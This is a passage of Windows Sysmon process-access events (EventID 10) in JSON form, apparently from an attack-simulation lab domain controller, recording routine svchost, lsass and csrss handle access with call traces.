11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6267,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6268,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6269,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6270,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6271,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8d58|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6272,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+8e42|c:\\windows\\system32\\lsm.dll+8d96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6273,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-0010E1250900}\r\nTargetProcessId: 4336\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-0010E1250900}","TargetProcessId":"4336","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6274,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.900\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.900","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 